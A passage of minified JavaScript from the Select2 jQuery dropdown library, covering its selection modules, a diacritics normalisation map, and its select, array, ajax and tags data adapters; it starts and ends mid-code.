aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=b.GetData(this.$element[0],"old-tabindex")?this._tabindex=b.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),c.attr("title",this.$element.attr("title")),c.attr("tabindex",this._tabindex),this.$selection=c,c},d.prototype.bind=function(a,b){var d=this,e=(a.id,a.id+"-results");this.container=a,this.$selection.on("focus",function(a){d.trigger("focus",a)}),this.$selection.on("blur",function(a){d._handleBlur(a)}),this.$selection.on("keydown",function(a){d.trigger("keypress",a),a.which===c.SPACE&&a.preventDefault()}),a.on("results:focus",function(a){d.$selection.attr("aria-activedescendant",a.data._resultId)}),a.on("selection:update",function(a){d.update(a.data)}),a.on("open",function(){d.$selection.attr("aria-expanded","true"),d.$selection.attr("aria-owns",e),d._attachCloseHandler(a)}),a.on("close",function(){d.$selection.attr("aria-expanded","false"),d.$selection.removeAttr("aria-activedescendant"),d.$selection.removeAttr("aria-owns"),d.$selection.focus(),window.setTimeout(function(){d.$selection.focus()},0),d._detachCloseHandler(a)}),a.on("enable",function(){d.$selection.attr("tabindex",d._tabindex)}),a.on("disable",function(){d.$selection.attr("tabindex","-1")})},d.prototype._handleBlur=function(b){var c=this;window.setTimeout(function(){document.activeElement==c.$selection[0]||a.contains(c.$selection[0],document.activeElement)||c.trigger("blur",b)},1)},d.prototype._attachCloseHandler=function(c){a(document.body).on("mousedown.select2."+c.id,function(c){var d=a(c.target),e=d.closest(".select2");a(".select2.select2-container--open").each(function(){a(this),this!=e[0]&&b.GetData(this,"element").select2("close")})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()})},e.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("<span></span>")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.attr("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('<ul class="select2-selection__rendered"></ul>'),a},d.prototype.bind=function(b,e){var f=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){f.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!f.options.get("disabled")){var d=a(this),e=d.parent(),g=c.GetData(e[0],"data");f.trigger("unselect",{originalEvent:b,data:g})}})},d.prototype.clear=function(){var a=this.$selection.find(".select2-selection__rendered");a.empty(),a.removeAttr("title")},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">×</span></li>')},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d<a.length;d++){var e=a[d],f=this.selectionContainer(),g=this.display(e,f);f.append(g),f.attr("title",e.title||e.text),c.StoreData(f[0],"data",e),b.push(f)}var h=this.$selection.find(".select2-selection__rendered");c.appendMany(h,b)}},d}),b.define("select2/selection/placeholder",["../utils"],function(a){function b(a,b,c){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c)}return b.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},b.prototype.createPlaceholder=function(a,b){var c=this.selectionContainer();return c.html(this.display(b)),c.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),c},b.prototype.update=function(a,b){var c=1==b.length&&b[0].id!=this.placeholder.id;if(b.length>1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(a,b,c){function d(){}return d.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},d.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var d=this.$selection.find(".select2-selection__clear");if(0!==d.length){b.stopPropagation();var e=c.GetData(d[0],"data"),f=this.$element.val();this.$element.val(this.placeholder.id);var g={data:e};if(this.trigger("clear",g),g.prevented)return void this.$element.val(f);for(var h=0;h<e.length;h++)if(g={data:e[h]},this.trigger("unselect",g),g.prevented)return void this.$element.val(f);this.$element.trigger("change"),this.trigger("toggle",{})}}},d.prototype._handleKeyboardClear=function(a,c,d){d.isOpen()||c.which!=b.DELETE&&c.which!=b.BACKSPACE||this._handleClear(c)},d.prototype.update=function(b,d){if(b.call(this,d),!(this.$selection.find(".select2-selection__placeholder").length>0||0===d.length)){var e=a('<span class="select2-selection__clear">×</span>');c.StoreData(e[0],"data",d),this.$selection.find(".select2-selection__rendered").prepend(e)}},d}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,d,e){var f=this;a.call(this,d,e),d.on("open",function(){f.$search.trigger("focus")}),d.on("close",function(){f.$search.val(""),f.$search.removeAttr("aria-activedescendant"),f.$search.trigger("focus")}),d.on("enable",function(){f.$search.prop("disabled",!1),f._transferTabIndex()}),d.on("disable",function(){f.$search.prop("disabled",!0)}),d.on("focus",function(a){f.$search.trigger("focus")}),d.on("results:focus",function(a){f.$search.attr("aria-activedescendant",a.id)}),this.$selection.on("focusin",".select2-search--inline",function(a){f.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){f._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),f.trigger("keypress",a),f._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===f.$search.val()){var d=f.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var e=b.GetData(d[0],"data");f.searchRemoveChoice(e),a.preventDefault()}}});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void f.$selection.off("input.search input.searchcheck");f.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void f.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&f.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;if(this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c){this.$element.find("[data-select2-tag]").length?this.$element.focus():this.$search.focus()}},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],g=["opening","closing","selecting","unselecting","clearing"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d=b.id+"-result-";return d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f<a.length;f++){var g=a[f].id;-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")});else{var d=a.id;this.$element.val(d),this.$element.trigger("change")}},d.prototype.unselect=function(a){var b=this;if(this.$element.prop("multiple")){if(a.selected=!1,c(a.element).is("option"))return a.element.selected=!1,void this.$element.trigger("change");this.current(function(d){for(var e=[],f=0;f<d.length;f++){var g=d[f].id;g!==a.id&&-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")})}},d.prototype.bind=function(a,b){var c=this;this.container=a,a.on("select",function(a){c.select(a.data)}),a.on("unselect",function(a){c.unselect(a.data)})},d.prototype.destroy=function(){this.$element.find("*").each(function(){b.RemoveData(this)})},d.prototype.query=function(a,b){var d=[],e=this;this.$element.children().each(function(){var b=c(this);if(b.is("option")||b.is("optgroup")){var f=e.item(b),g=e.matches(a,f);null!==g&&d.push(g)}}),b({results:d})},d.prototype.addOptions=function(a){b.appendMany(this.$element,a)},d.prototype.option=function(a){var d;a.children?(d=document.createElement("optgroup"),d.label=a.text):(d=document.createElement("option"),void 0!==d.textContent?d.textContent=a.text:d.innerText=a.text),void 0!==a.id&&(d.value=a.id),a.disabled&&(d.disabled=!0),a.selected&&(d.selected=!0),a.title&&(d.title=a.title);var e=c(d),f=this._normalizeItem(a);return f.element=d,b.StoreData(d,"data",f),e},d.prototype.item=function(a){var d={};if(null!=(d=b.GetData(a[0],"data")))return d;if(a.is("option"))d={id:a.val(),text:a.text(),disabled:a.prop("disabled"),selected:a.prop("selected"),title:a.prop("title")};else if(a.is("optgroup")){d={text:a.prop("label"),children:[],title:a.prop("title")};for(var e=a.children("option"),f=[],g=0;g<e.length;g++){var h=c(e[g]),i=this.item(h);f.push(i)}d.children=f}return d=this._normalizeItem(d),d.element=a[0],b.StoreData(a[0],"data",d),d},d.prototype._normalizeItem=function(a){a!==Object(a)&&(a={id:a,text:a}),a=c.extend({},{text:""},a);var b={selected:!1,disabled:!1};return null!=a.id&&(a.id=a.id.toString()),null!=a.text&&(a.text=a.text.toString()),null==a._resultId&&a.id&&null!=this.container&&(a._resultId=this.generateResultId(this.container,a)),c.extend({},b,a)},d.prototype.matches=function(a,b){return this.options.get("matcher")(a,b)},d}),b.define("select2/data/array",["./select","../utils","jquery"],function(a,b,c){function d(a,b){var c=b.get("data")||[];d.__super__.constructor.call(this,a,b),this.addOptions(this.convertToOptions(c))}return b.Extend(d,a),d.prototype.select=function(a){var b=this.$element.find("option").filter(function(b,c){return c.value==a.id.toString()});0===b.length&&(b=this.option(a),this.addOptions(b)),d.__super__.select.call(this,a)},d.prototype.convertToOptions=function(a){function d(a){return function(){return c(this).val()==a.id}}for(var e=this,f=this.$element.find("option"),g=f.map(function(){return e.item(c(this)).id}).get(),h=[],i=0;i<a.length;i++){var j=this._normalizeItem(a[i]);if(c.inArray(j.id,g)>=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f)},function(){"status"in d&&(0===d.status||"0"===d.status)||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h<e.length;h++){var i=e[h],j=this._normalizeItem(i),k=this.option(j);this.$element.append(k)}}return b.prototype.query=function(a,b,c){function d(a,f){for(var g=a.results,h=0;h<g.length;h++){var i=g[h],j=null!=i.children&&!d({results:i.children},!0);if((i.text||"").toUpperCase()===(b.term||"").toUpperCase()||j)return!f&&(a.data=g,void c(a))}if(f)return!0;var k=e.createTag(b);if(null!=k){var l=e.option(k);l.attr("data-select2-tag",!0),e.addOptions([l]),e.insertTag(g,k)}a.results=g,c(a)}var e=this;if(this._removeOldTags(),null==b.term||null!=b.page)return void a.call(this,b,c);a.call(this,b,d)},b.prototype.createTag=function(b,c){var 